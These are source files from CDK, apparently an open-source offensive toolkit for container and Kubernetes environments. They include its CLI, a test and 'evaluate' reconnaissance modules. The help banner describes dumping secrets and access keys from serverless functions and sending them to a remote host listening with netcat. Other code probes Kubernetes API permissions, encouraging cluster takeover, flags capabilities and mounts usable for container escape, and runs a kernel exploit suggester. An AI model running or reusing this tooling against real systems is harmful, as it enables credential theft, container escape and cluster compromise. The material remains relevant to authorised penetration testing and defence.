(get|post) Make request to docker unix socket. 68 | probe TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000 69 | 70 | %s 71 | -h --help Show this help msg. 72 | -v --version Show version. 73 | ` 74 | 75 | // BannerContainer is the banner of CDK command line with colorful. 76 | var BannerContainer = fmt.Sprintf( 77 | BannerContainerTpl, 78 | "Usage:", 79 | util.GreenBold.Sprint("Evaluate:"), 80 | util.GreenBold.Sprint("Exploit:"), 81 | util.GreenBold.Sprint("Tool:"), 82 | "Options:", 83 | ) 84 | 85 | var BannerServerless = BannerHeader + ` 86 | THIS IS THE SLIM VERSION FOR DUMPING SECRET/AK IN SERVERLESS FUNCTIONS. 87 | 88 | sessions in serverless functions will be killed in seconds, use this tool to dump AK/secrets in the fast way. 89 | 90 | Usage: 91 | cdk-serverless 92 | 93 | Args: 94 | scan-dir Read all files under target dir and dump AK token. 95 | remote-ip,port Send results to target IP:PORT via TCP tunnel. 96 | 97 | Example: 98 | 1. public server(e.g. 1.2.3.4) start listen tcp port 999 using "nc -lvp 999" 99 | 2. inside serverless function service execute "./cdk-serverless /code 1.2.3.4 999" 100 | ` 101 | 102 | func parseDocopt() { 103 | args, err := docopt.ParseArgs(BannerContainer, os.Args[1:], BannerVersion) 104 | if err != nil { 105 | log.Fatalln("docopt err: ", err) 106 | } 107 | Args = args 108 | } 109 | -------------------------------------------------------------------------------- /pkg/cli/parse.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package cli 18 | 19 | import ( 20 | "fmt" 21 | "github.com/cdk-team/CDK/pkg/tool/netstat" 22 | 23 | "github.com/cdk-team/CDK/pkg/evaluate" 24 | "github.com/cdk-team/CDK/pkg/plugin" 25 | "github.com/cdk-team/CDK/pkg/tool/dockerd_api" 26 | "github.com/cdk-team/CDK/pkg/tool/etcdctl" 27 | "github.com/cdk-team/CDK/pkg/tool/kubectl" 28 | 29 | "log" 30 | "os" 31 | "strconv" 32 | 33 | "github.com/cdk-team/CDK/pkg/tool/netcat" 34 | "github.com/cdk-team/CDK/pkg/tool/network" 35 | "github.com/cdk-team/CDK/pkg/tool/probe" 36 | "github.com/cdk-team/CDK/pkg/tool/ps" 37 | "github.com/cdk-team/CDK/pkg/tool/vi" 38 | "github.com/docopt/docopt-go" 39 | ) 40 | 41 | func PassInnerArgs() { 42 | os.Args = os.Args[1:] 43 | } 44 | 45 | func ParseCDKMain() bool { 46 | 47 | if len(os.Args) == 1 { 48 | docopt.PrintHelpAndExit(nil, BannerContainer) 49 | } 50 | 51 | // nc needs -v and -h , parse it outside 52 | if os.Args[1] == "nc" { 53 | // https://github.com/jiguangin/netcat 54 | PassInnerArgs() 55 | netcat.RunVendorNetcat() 56 | return true 57 | } 58 | 59 | // docopt argparse start 60 | parseDocopt() 61 | 62 | if Args["auto-escape"].(bool) { 63 | plugin.RunSingleTask("auto-escape") 64 | return true 65 | } 66 | 67 | // support for cdk eva(Evangelion) and cdk evaluate 68 | fok := Args["evaluate"] 69 | ok := Args["eva"] 70 | 71 | // docopt let fok = true, so we need to check it 72 | // fix #37 https://github.com/cdk-team/CDK/issues/37 73 | if ok.(bool) || fok.(bool) { 74 | 75 | fmt.Printf(BannerHeader) 76 | evaluate.CallBasics() 77 | 78 | if Args["--full"].(bool) { 79 | evaluate.CallAddedFunc() 80 | } 81 | return true 82 | } 83 | 84 | if Args["run"].(bool) { 85 | if Args["--list"].(bool) { 86 | plugin.ListAllExploit() 87 | os.Exit(0) 88 | } 89 | name := Args[""].(string) 90 | if plugin.Exploits[name] == nil { 91 | fmt.Printf("\nInvalid script name: %s , available scripts:\n", name) 92 | plugin.ListAllExploit() 93 | return true 94 | } 95 | plugin.RunSingleExploit(name) 96 | return true 97 | } 98 | 99 | if Args[""] != nil { 100 | args := Args[""].([]string) 101 | 102 | switch Args[""] { 103 | case "vi": 104 | PassInnerArgs() 105 | vi.RunVendorVi() 106 | case "kcurl": 107 | kubectl.KubectlToolApi(args) 108 | case "ectl": 109 | etcdctl.EtcdctlToolApi(args) 110 | case "ucurl": 111 | dockerd_api.UcurlToolApi(args) 112 | case "dcurl": 113 | dockerd_api.DcurlToolApi(args) 114 | case "ifconfig": 115 | network.GetLocalAddresses() 116 | case "ps": 117 | ps.RunPs() 118 | case "netstat": 119 | netstat.RunNetstat() 120 | case "probe": 121 | if len(args) != 4 { 122 | log.Println("Invalid input args.") 123 | log.Println("usage: cdk probe ") 124 | log.Fatal("example: cdk probe 192.168.1.0-255 22,80,100-110 50 1000") 125 | } 126 | parallel, err := strconv.ParseInt(args[2], 10, 64) 127 | if err != nil { 128 | log.Println("err found when parse input arg ") 129 | log.Fatal(err) 130 | } 131 | timeout, err := strconv.Atoi(args[3]) 132 | if err != nil { 133 | log.Println("err found when parse input arg ") 134 | log.Fatal(err) 135 | } 136 | probe.TCPScanToolAPI(args[0], args[1], parallel, timeout) 137 | default: 138 | docopt.PrintHelpAndExit(nil, BannerContainer) 139 | } 140 | } 141 | 142 | return false 143 | } 144 | -------------------------------------------------------------------------------- /pkg/cli/parse_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package cli_test 18 | 19 | import ( 20 | "bytes" 21 | // "io/ioutil" 22 | "log" 23 | "os" 24 | "testing" 25 | "time" 26 | 27 | "github.com/cdk-team/CDK/pkg/cli" 28 | _ "github.com/cdk-team/CDK/pkg/exploit" // register all exploits 29 | ) 30 | 31 | type testArgsCase struct { 32 | name string 33 | args []string 34 | successStr string 35 | } 36 | 37 | func doParseCDKMainWithTimeout() { 38 | 39 | result := make(chan bool, 1) 40 | 41 | go func() { 42 | result <- cli.ParseCDKMain() 43 | }() 44 | 45 | select { 46 | case <-time.After(time.Second * 2): 47 | log.Println("check run ok, timeout in 2s, and return.") 48 | return 49 | case <-result: 50 | return 51 | } 52 | 53 | } 54 | 55 | func TestParseCDKMain(t *testing.T) { 56 | 57 | // ./cdk eva 2>&1 | head 58 | // ./cdk run test-poc | head 59 | // ./cdk ifconfig | head 60 | 61 | tests := []testArgsCase{ 62 | { 63 | name: "./cdk eva", 64 | args: []string{"./cdk_cli_path", "eva"}, 65 | successStr: "current user", 66 | }, 67 | { 68 | name: "./cdk run test-poc", 69 | args: []string{"./cdk_cli_path", "run", "test-poc"}, 70 | successStr: "run success", 71 | }, 72 | { 73 | name: "./cdk ifconfig", 74 | args: []string{"./cdk_cli_path", "ifconfig"}, 75 | successStr: "GetLocalAddresses", 76 | }, 77 | } 78 | 79 | for _, tt := range tests { 80 | 81 | // fmt.Print and log.Print to buffer, and check output 82 | var buf bytes.Buffer 83 | log.SetOutput(&buf) 84 | 85 | // hook fmt.X to buffer, hook os.Stdout 86 | // oldStdout := os.Stdout 87 | // r, w, _ := os.Pipe() 88 | // os.Stdout = w 89 | 90 | // hook os.Args 91 | args := tt.args 92 | os.Args = args 93 | 94 | t.Run(tt.name, func(t *testing.T) { 95 | doParseCDKMainWithTimeout() 96 | // out, _ := ioutil.ReadAll(r) 97 | 98 | // check success string in buf and out 99 | // if !bytes.Contains(buf.Bytes(), []byte(tt.successStr)) && !bytes.Contains(out, []byte(tt.successStr)) { 100 | // t.Errorf(("parse cdk main failed, name: %s, args: %v, buf: %s, out: %s"), tt.name, tt.args, buf.String()[:1000], string(out)[:1000]) 101 | // } 102 | 103 | if !bytes.Contains(buf.Bytes(), []byte(tt.successStr)) { 104 | 105 | // get sub string from buf, lenght is 1000 106 | str := buf.String() 107 | if len(str) > 1000 { 108 | str = str[:1000] 109 | } 110 | 111 | t.Errorf(("parse cdk main failed, name: %s, args: %v, buf: %s"), tt.name, tt.args, str) 112 | } 113 | 114 | }) 115 | 116 | // return to os.Stdout default 117 | // os.Stdout = oldStdout 118 | // w.Close() 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /pkg/errors/errors.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package errors 18 | 19 | import ( 20 | "fmt" 21 | ) 22 | 23 | type CDKRuntimeError struct { 24 | Err error 25 | CustomMsg string 26 | } 27 | 28 | func New(text string) error { 29 | return &CDKRuntimeError{nil, text} 30 | } 31 | 32 | func (e *CDKRuntimeError) Error() string { 33 | if e.Err != nil { 34 | return fmt.Sprintf("%s:\n%s", e.CustomMsg, e.Err) 35 | } else { 36 | return e.CustomMsg 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /pkg/evaluate/available_linux_capabilities.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "bufio" 21 | "fmt" 22 | "io/ioutil" 23 | "log" 24 | "regexp" 25 | "strings" 26 | 27 | "github.com/cdk-team/CDK/pkg/util" 28 | "github.com/cdk-team/CDK/pkg/util/capability" 29 | ) 30 | 31 | func GetProcCapabilities() bool { 32 | data, err := ioutil.ReadFile("/proc/self/status") 33 | if err != nil { 34 | log.Println(err) 35 | return false 36 | } 37 | 38 | scanner := bufio.NewScanner(strings.NewReader(string(data))) 39 | log.Println("Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):") 40 | 41 | for scanner.Scan() { 42 | line := scanner.Text() 43 | if strings.HasPrefix(line, "Cap") { 44 | fmt.Printf("\t%s\n", line) 45 | } 46 | } 47 | 48 | pattern := regexp.MustCompile(`(?i)capeff:\s*?[a-z0-9]+\s`) 49 | params := pattern.FindStringSubmatch(string(data)) 50 | 51 | for _, matched := range params { 52 | 53 | // make capabilities readable 54 | lst := strings.Split(matched, ":") 55 | if len(lst) == 2 { 56 | 57 | capStr := strings.TrimSpace(lst[1]) 58 | caps, err := capability.CapHexParser(capStr) 59 | 60 | fmt.Printf("\tCap decode: 0x%s = %s\n", capStr, capability.CapListToString(caps)) 61 | 62 | addCaps := getAddCaps(caps) 63 | if len(addCaps) > 0 { 64 | util.RedBold.Printf("\tAdded capability list: %s\n", capability.CapListToString(addCaps)) 65 | } 66 | 67 | if err != nil { 68 | log.Printf("[-] capability.CapHexParser: %v\n", err) 69 | return false 70 | } 71 | 72 | fmt.Printf("[*] Maybe you can exploit the Capabilities below:\n") 73 | for _, c := range caps { 74 | switch c { 75 | case "CAP_DAC_READ_SEARCH": 76 | fmt.Println("[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.") 77 | case "CAP_SYS_MODULE": 78 | fmt.Println("[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.") 79 | case "CAP_SYS_ADMIN": 80 | fmt.Println("Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.") 81 | } 82 | } 83 | } 84 | 85 | if strings.Contains(matched, "3fffffffff") { 86 | fmt.Println("Critical - Possible Privileged Container Found.") 87 | return true 88 | } 89 | } 90 | 91 | return false 92 | } 93 | 94 | func getAddCaps(currentCaps []string) []string { 95 | var addCaps []string 96 | for _, c := range currentCaps { 97 | if !util.StringContains(capability.DockerDefaultCaps, c) { 98 | addCaps = append(addCaps, c) 99 | } 100 | } 101 | return addCaps 102 | } 103 | -------------------------------------------------------------------------------- /pkg/evaluate/available_linux_commands.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "github.com/cdk-team/CDK/conf" 21 | "log" 22 | "os/exec" 23 | "strings" 24 | ) 25 | 26 | func SearchAvailableCommands() { 27 | ans := []string{} 28 | for _, cmd := range conf.LinuxCommandChecklist { 29 | _, err := exec.LookPath(cmd) 30 | if err == nil { 31 | ans = append(ans, cmd) 32 | } 33 | } 34 | log.Printf("available commands:\n\t%s\n", strings.Join(ans, ",")) 35 | } 36 | -------------------------------------------------------------------------------- /pkg/evaluate/cgroups.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "fmt" 21 | "log" 22 | 23 | "github.com/cdk-team/CDK/pkg/util" 24 | ) 25 | 26 | func DumpCgroup() { 27 | 28 | cgroupLst, err := util.GetCgroup(1) 29 | sLst := make([]string, 0, len(cgroupLst)) 30 | 31 | if err != nil { 32 | log.Printf("/proc/1/cgroup error: %v\n", err) 33 | return 34 | } 35 | 36 | log.Println("/proc/1/cgroup file content:") 37 | for _, v := range cgroupLst { 38 | fmt.Printf("\t%s\n", v.OriginalInfo) 39 | sLst = append(sLst, v.OriginalInfo) 40 | } 41 | 42 | cgroupLstSelf, err := util.GetCgroup(0) 43 | if err != nil { 44 | log.Printf("/proc/self/cgroup error: %v\n", err) 45 | return 46 | } 47 | 48 | log.Println("/proc/self/cgroup file added content (compare pid 1) :") 49 | for _, v := range cgroupLstSelf { 50 | if !util.StringContains(sLst, v.OriginalInfo) { 51 | fmt.Printf("\t%s\n", v.OriginalInfo) 52 | } 53 | } 54 | 55 | } 56 | -------------------------------------------------------------------------------- /pkg/evaluate/check_mount_escape.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "fmt" 21 | "io" 22 | "regexp" 23 | "strings" 24 | 25 | "github.com/cdk-team/CDK/pkg/errors" 26 | "github.com/cdk-team/CDK/pkg/util" 27 | ) 28 | 29 | // The checkClose function calls close on a Closer and panics with a 30 | // runtime error if the Closer returns an error 31 | func checkClose(c io.Closer) { 32 | if err := c.Close(); err != nil { 33 | panic(&errors.CDKRuntimeError{Err: err}) 34 | } 35 | } 36 | 37 | func MountEscape() { 38 | 39 | mounts, _ := util.GetMountInfo() 40 | 41 | for _, m := range mounts { 42 | 43 | // TODO: why so may null byte in the Mounts 44 | // [Information Gathering - Mounts] 45 | // : - 46 | if m.Major == "" { 47 | continue 48 | } 49 | 50 | // ? why match those mount points? 51 | if strings.Contains(m.Device, "/") || strings.Contains(m.Fstype, "ext") { 52 | matched, _ := regexp.MatchString("/kubelet/|/dev/[\\w-]*?\\blog$|/etc/host[\\w]*?$|/etc/[\\w]*?\\.conf$", m.Root) 53 | if !matched { 54 | m.Root = util.RedBold.Sprint(m.Root) 55 | m.Fstype = util.RedBold.Sprint(m.Fstype) 56 | } 57 | } 58 | 59 | // find lxcfs mount point for escape exploit 60 | if m.Device == "lxcfs" && util.StringContains(m.Opts, "rw") { 61 | fmt.Printf("Find mounted lxcfs with rw flags, run `%s` or `%s` to escape container!\n", util.RedBold.Sprint("cdk run lxcfs-rw"), util.RedBold.Sprint("cdk run lxcfs-rw-cgroup")) 62 | m.Device = util.RedBold.Sprint(m.Device) 63 | m.MountPoint = util.RedBold.Sprint(m.Device) 64 | } 65 | 66 | fmt.Println(m.String()) 67 | 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /pkg/evaluate/cloud_metadata_api.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "fmt" 21 | "github.com/cdk-team/CDK/conf" 22 | "github.com/idoubi/goz" 23 | "log" 24 | "strings" 25 | ) 26 | 27 | func CheckCloudMetadataAPI() { 28 | for _, apiInstance := range conf.CloudAPI { 29 | cli := goz.NewClient(goz.Options{ 30 | Timeout: 1, 31 | }) 32 | resp, err := cli.Get(apiInstance.API) 33 | if err != nil { 34 | log.Printf("failed to dial %s API.", apiInstance.CloudProvider) 35 | continue 36 | } 37 | r, _ := resp.GetBody() 38 | if strings.Contains(r.String(), apiInstance.ResponseMatch) { 39 | fmt.Printf("\t%s Metadata API available in %s\n", apiInstance.CloudProvider, apiInstance.API) 40 | fmt.Printf("\tDocs: %s\n", apiInstance.DocURL) 41 | } else { 42 | log.Printf("failed to dial %s API.", apiInstance.CloudProvider) 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /pkg/evaluate/evaluate.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "github.com/cdk-team/CDK/conf" 21 | "github.com/cdk-team/CDK/pkg/util" 22 | ) 23 | 24 | // CallBasics is a function to call basic functions 25 | func CallBasics() { 26 | util.PrintH2("Information Gathering - System Info") 27 | BasicSysInfo() 28 | FindSidFiles() 29 | 30 | util.PrintH2("Information Gathering - Services") 31 | SearchSensitiveEnv() 32 | SearchSensitiveService() 33 | 34 | util.PrintH2("Information Gathering - Commands and Capabilities") 35 | SearchAvailableCommands() 36 | GetProcCapabilities() 37 | 38 | util.PrintH2("Information Gathering - Mounts") 39 | MountEscape() 40 | 41 | util.PrintH2("Information Gathering - Net Namespace") 42 | CheckNetNamespace() 43 | 44 | util.PrintH2("Information Gathering - Sysctl Variables") 45 | CheckRouteLocalNetworkValue() 46 | 47 | util.PrintH2("Information Gathering - DNS-Based Service Discovery") 48 | DNSBasedServiceDiscovery() 49 | 50 | util.PrintH2("Discovery - K8s API Server") 51 | CheckK8sAnonymousLogin() 52 | 53 | util.PrintH2("Discovery - K8s Service Account") 54 | CheckPrivilegedK8sServiceAccount(conf.K8sSATokenDefaultPath) 55 | 56 | util.PrintH2("Discovery - Cloud Provider Metadata API") 57 | CheckCloudMetadataAPI() 58 | 59 | util.PrintH2("Exploit Pre - Kernel Exploits") 60 | kernelExploitSuggester() 61 | } 62 | 63 | func CallAddedFunc() { 64 | util.PrintH2("Information Gathering - Sensitive Files") 65 | SearchLocalFilePath() 66 | 67 | util.PrintH2("Information Gathering - ASLR") 68 | ASLR() 69 | 70 | util.PrintH2("Information Gathering - Cgroups") 71 | DumpCgroup() 72 | } 73 | -------------------------------------------------------------------------------- /pkg/evaluate/evaluate_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "fmt" 21 | "testing" 22 | 23 | "github.com/cdk-team/CDK/pkg/util" 24 | ) 25 | 26 | func TestDumpCgroup(t *testing.T) { 27 | fmt.Printf("\n[Information Gathering - Cgroups]\n") 28 | DumpCgroup() 29 | } 30 | 31 | func TestFindSidFiles(t *testing.T) { 32 | fmt.Printf("\n[Information Gathering - SIDs]\n") 33 | FindSidFiles() 34 | } 35 | 36 | func TestKernelExploitSuggester(t *testing.T) { 37 | util.PrintH2("Exploit Pre - Kernel Exploits") 38 | kernelExploitSuggester() 39 | } 40 | -------------------------------------------------------------------------------- /pkg/evaluate/k8s_anonymous_login.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "fmt" 21 | "log" 22 | "strings" 23 | 24 | "github.com/cdk-team/CDK/pkg/tool/kubectl" 25 | ) 26 | 27 | func CheckK8sAnonymousLogin() bool { 28 | 29 | // check if api-server allows system:anonymous request 30 | log.Println("checking if api-server allows system:anonymous request.") 31 | 32 | resp, err := kubectl.ServerAccountRequest( 33 | kubectl.K8sRequestOption{ 34 | TokenPath: "", 35 | Server: "", // default 36 | Api: "/", 37 | Method: "get", 38 | PostData: "", 39 | Anonymous: true, 40 | }) 41 | if err != nil { 42 | fmt.Println(err) 43 | } 44 | 45 | if strings.Contains(resp, "/api") { 46 | fmt.Println("\tcongrats, api-server allows anonymous request.") 47 | log.Println("trying to list namespaces") 48 | 49 | // check if system:anonymous can list namespaces 50 | resp, err := kubectl.ServerAccountRequest( 51 | kubectl.K8sRequestOption{ 52 | TokenPath: "", 53 | Server: "", // default 54 | Api: "/api/v1/namespaces", 55 | Method: "get", 56 | PostData: "", 57 | Anonymous: true, 58 | }) 59 | if err != nil { 60 | fmt.Println(err) 61 | } 62 | if len(resp) > 0 && strings.Contains(resp, "kube-system") { 63 | fmt.Println("\tsuccess, the system:anonymous role have a high authority.") 64 | fmt.Println("\tnow you can make your own request to takeover the entire k8s cluster with `./cdk kcurl` command\n\tgood luck and have fun.") 65 | return true 66 | } else { 67 | fmt.Println("\tfailed.") 68 | fmt.Println("\tresponse:" + resp) 69 | return true 70 | } 71 | } else { 72 | fmt.Println("\tapi-server forbids anonymous request.") 73 | fmt.Println("\tresponse:" + resp) 74 | return false 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /pkg/evaluate/k8s_service_account.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "fmt" 21 | "github.com/cdk-team/CDK/pkg/tool/kubectl" 22 | "log" 23 | "strings" 24 | ) 25 | 26 | func CheckPrivilegedK8sServiceAccount(tokenPath string) bool { 27 | resp, err := kubectl.ServerAccountRequest( 28 | kubectl.K8sRequestOption{ 29 | TokenPath: "", 30 | Server: "", 31 | Api: "/apis", 32 | Method: "get", 33 | PostData: "", 34 | Anonymous: false, 35 | }) 36 | if err != nil { 37 | fmt.Println(err) 38 | return false 39 | } 40 | if len(resp) > 0 && strings.Contains(resp, "APIGroupList") { 41 | fmt.Println("\tservice-account is available") 42 | 43 | // check if the current service-account can list namespaces 44 | log.Println("trying to list namespaces") 45 | resp, err := kubectl.ServerAccountRequest( 46 | kubectl.K8sRequestOption{ 47 | TokenPath: "", 48 | Server: "", 49 | Api: "/api/v1/namespaces", 50 | Method: "get", 51 | PostData: "", 52 | Anonymous: false, 53 | }) 54 | if err != nil { 55 | fmt.Println(err) 56 | return false 57 | } 58 | if len(resp) > 0 && strings.Contains(resp, "kube-system") { 59 | fmt.Println("\tsuccess, the service-account have a high authority.") 60 | fmt.Println("\tnow you can make your own request to takeover the entire k8s cluster with `./cdk kcurl` command\n\tgood luck and have fun.") 61 | return true 62 | } else { 63 | fmt.Println("\tfailed") 64 | fmt.Println("\tresponse:" + resp) 65 | return false 66 | } 67 | } else { 68 | fmt.Println("\tservice-account is not available") 69 | fmt.Println("\tresponse:" + resp) 70 | return false 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /pkg/evaluate/kernel.go: -------------------------------------------------------------------------------- 1 | package evaluate 2 | 3 | import ( 4 | "os/exec" 5 | "strings" 6 | 7 | "github.com/cdk-team/CDK/conf" 8 | "github.com/cdk-team/CDK/pkg/util" 9 | ) 10 | 11 | // kernelExploitSuggester 12 | // use https://github.com/mzet-/linux-exploit-suggester to check kernel exploit 13 | // run linux-exploit-suggester bash script to check kernel exploit 14 | func kernelExploitSuggester() { 15 | script := conf.KernelExploitScript 16 | // check bash command available 17 | _, err := exec.LookPath("bash") 18 | if err != nil { 19 | return 20 | } 21 | 22 | // run command get output 23 | util.PrintItemValueWithKeyOneLine("refer", "https://github.com/mzet-/linux-exploit-suggester", false) 24 | output, err := exec.Command("bash", "-c", script).Output() 25 | if err != nil { 26 | return 27 | } 28 | 29 | // get all available exploit 30 | // sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g" 31 | // ANSI escape code in output, reg can not match it 32 | indexs := make([]int, 0) 33 | lines := strings.Split(string(output), "\n") 34 | for index, line := range lines { 35 | if strings.Contains(line, "[CVE") { 36 | indexs = append(indexs, index) 37 | } 38 | } 39 | 40 | // print all exploit and after 10 lines 41 | for _, index := range indexs { 42 | for i := index; i < index+10; i++ { 43 | if i >= len(lines) { 44 | break 45 | } 46 | 47 | // do not print CVE number twice 48 | if i != index && strings.Contains(lines[i], "[CVE") { 49 | break 50 | } 51 | 52 | util.PrintOrignal(lines[i]) 53 | } 54 | } 55 | 56 | } 57 | -------------------------------------------------------------------------------- /pkg/evaluate/network_namespace.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | 